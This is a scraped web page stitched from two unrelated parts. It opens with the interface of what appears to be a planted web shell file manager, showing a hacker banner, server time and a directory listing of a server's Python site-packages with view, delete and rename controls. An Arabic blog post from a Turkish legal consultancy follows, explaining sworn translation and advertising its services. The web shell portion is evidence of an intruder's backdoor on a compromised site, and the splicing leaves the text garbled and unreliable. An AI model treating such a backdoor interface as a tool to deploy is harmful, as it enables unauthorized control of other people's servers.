Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-08 13:25:14
curdir: / / lib64 / python3.6 / site-packages / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 11:43:56 0755
.. 12288 2025-12-03 11:10:56 0755
MarkupSafe-0.23-py3.6.egg-info 4096 2025-12-03 11:16:22 0755
PyYAML-3.12-py3.6.egg-info 1515 2019-10-28 12:06:07 0644
README.txt 119 2018-12-24 00:37:14 0644
__pycache__ 4096 2026-01-04 11:40:55 0755
_audit.so 181128 2025-07-15 12:41:57 0755
_cffi_backend.cpython-36m-x86_64-linux-gnu.so 180992 2023-10-15 02:41:10 0755
_dbus_bindings.so 180952 2019-11-14 20:08:13 0755
_dbus_glib_bindings.so 12800 2019-11-14 20:08:13 0755
_selinux.cpython-36m-x86_64-linux-gnu.so 320072 2025-03-11 15:11:55 0755
_semanage.cpython-36m-x86_64-linux-gnu.so 328696 2025-06-03 05:06:53 0755
_snack.so 45328 2020-06-01 17:11:18 0755
_yaml.cpython-36m-x86_64-linux-gnu.so 250568 2019-10-28 12:06:07 0755
audit.py 46606 2025-07-15 12:41:56 0755
auparse.so 70392 2025-07-15 12:41:57 0755
cffi 4096 2025-12-03 11:13:38 0755
cffi-1.11.5-py3.6.egg-info 4096 2025-12-03 11:13:38 0755
cryptography 4096 2025-12-03 11:13:38 0755
cryptography-3.2.1-py3.6.egg-info 4096 2025-12-03 11:13:38 0755
dbus 4096 2025-12-03 11:14:25 0755
dbus_python-1.2.4-py3.6.egg-info 4096 2025-12-03 11:14:25 0755
dmidecode.py 3461 2022-11-17 08:51:28 0644
dmidecodemod.cpython-36m-x86_64-linux-gnu.so 223480 2023-03-31 18:12:53 0755
drv_libxml2.py 15252 2016-06-07 13:04:14 0644
gi 4096 2026-01-04 11:40:55 0755
gpg 4096 2025-12-03 11:14:28 0755
gpg-1.13.1-py3.6.egg-info 2259 2024-04-06 15:29:29 0644
hawkey 4096 2025-12-03 11:14:28 0755
libcomps 4096 2025-12-03 11:16:17 0755
libcomps-0.1.18-py3.6.egg-info 4096 2025-12-03 11:16:17 0755
libdnf 4096 2025-12-03 11:14:28 0755
librepo 4096 2026-01-04 11:40:55 0755
libxml2.py 345834 2017-10-30 10:39:09 0644
libxml2mod.so 438616 2025-08-06 16:59:35 0755
markupsafe 4096 2025-12-03 11:16:22 0755
netifaces-0.10.6-py3.6.egg-info 4096 2025-12-03 11:16:22 0755
netifaces.cpython-36m-x86_64-linux-gnu.so 20528 2019-11-13 18:07:37 0755
perf-0.1-py3.6.egg-info 261 2025-11-25 21:50:11 0644
perf.cpython-36m-x86_64-linux-gnu.so 380560 2025-11-25 21:56:12 0755
pygobject-3.28.3-py3.6.egg-info 806 2020-08-19 11:40:47 0644
pygtkcompat 4096 2026-01-04 11:40:55 0755
pylve-2.1-py3.6.egg-info 4096 2026-01-04 11:43:56 0755
pylve.cpython-36m-x86_64-linux-gnu.so 24864 2025-11-05 12:18:33 0755
python_dmidecode-3.12.2-py3.6.egg-info 310 2023-03-31 18:12:53 0644
rpm 4096 2025-12-03 11:14:29 0755
rpm-4.14.3-py3.6.egg-info 222 2024-12-17 07:11:04 0644
selinux 4096 2025-12-03 11:11:18 0755
selinux-2.9-py3.6.egg-info 221 2025-03-11 15:11:55 0644
semanage.py 61649 2025-06-03 05:06:53 0644
setools 4096 2025-12-03 11:13:50 0755
setools-4.3.0-py3.6.egg-info 4096 2025-12-03 11:13:50 0755
snack.py 31134 2020-06-01 17:11:17 0644
systemd 4096 2025-12-03 11:13:35 0755
systemd_python-234-py3.6.egg-info 586 2019-11-14 20:15:28 0644
yaml 4096 2025-12-03 11:13:18 0755
مجموعة كريم - الترجمة المحلفة في تركيا – ما هي وما أهميتها

الترجمة المحلفة في تركيا – ما هي وما أهميتها

Blog Details

الترجمة المحلفة في تركيا – ما هي وما أهميتها

تعد الترجمة من اللغة الأجنبية إلى اللغة التركية من أكثر الخدمات التي يتم طلبها في تركيا، ولا شك أن أهمية ترجمة الأوراق الرسمية والحكومية يجب أن تكون من مترجم محلف في تركيا، يمكنه أن يترجم وثائقك التي تحتاجها باللغة التركية لتيسير معاملة ما في تركيا.

لذا في هذه المقالة سنتعرف عن الترجمة المحلفة في تركيا، وما هي وما أهميتها.

 

ما هي الترجمة المحلفة في تركيا؟

تعتبر الترجمة المحلفة بأنها هي الترجمة المعتمدة والترجمة المستوفية الدقيقة للعقود والوثائق والشهادات وغيرها من الأوراق الرسمية أو الخاصة التي تحمل الطابع القانوني وفق الشروط القانونية التي تضعها الحكومة التركية، مما يسمح باستخدامها في مؤسسات الدولة، ويتم التعامل بها بشكل رسمي، مع إقرار المترجم بمسؤوليته عن دقة الوثيقة التي تمت ترجمتها من اللغة الأجنبية إلى اللغة التركية.

 

من هو المترجم المحلف؟

الترجمان المحلف في تركيا هو شخص متخرج من إحدى أقسام اللغات الأجنبية أو قسم الترجمة، ويكون المترجم المحلف في تركيا متقنا اللغة التي سيترجم لها واللغة المترجم منها، ويكون مخول من كاتب العدل للترجمة الرسمية للوثائق القانونية وختم المترجم المحلف ذات صفة رسمية في المؤسسات الحكومية في الدولة.

 

ما الذي يجب على المترجم المحلف؟

يجب على الترجمان المحلف أن يتمتع بصفات عديدة، مثل الحفاظ على سرية المعلومات التي يترجمها، والانضباط الذاتي، والموثوقية والأمانة المطلقة في نقل المعلومات من لغة إلى أخرى، بالإضافة إلى ضرورة إتقان اللغات بتفاصيلها الدقيقة ومصطلحاتها وعرفها، ومعرفة التشريعات ذات الصلة، وامتلاك القدرة على تحديد أولويات الأوصاف الوظيفية المتعددة.

 

ما هي الشروط المطلوبة لأكون مترجم محلف؟

لكي تكون مترجم محلف في تركيا عليك أن تستوفي شروط المترجم المحلف في تركيا، ومعرفة المعايير المطلوبة التي تحددها المؤسسات التركية، وهذه الشروط هي:

  • أن تكون مواطنا تركيا، أو حاملا للجنسية التركية.
  • الحصول على شهادة تخرج من أقسام اللغات الأجنبية، أو أقسام الترجمة في الجامعات التركية، أو الجامعات التي تعترف بشهادتها الحكومة التركية.
  • الحصول على وثيقة اختبار تثبت إمكانيتك في إتقان اللغة الأجنبية التي تريد أن تترجم منها إلى اللغة التركية.
  • التقديم لدى كاتب العدل بدرجة البكالوريوس وشهادة إتقان اللغة الأجنبية.
  • أن تؤدي اليمين أمام كاتب العدل.

 

ما هي أهمية الترجمة المحلفة في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

يمكنكم الحصول على خدمة الترجمة المحلفة من مجموعة كريم للاستشارات القانونية.

 

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.

 

اقرأ أيضا:

خدمة الترجمة في تركيا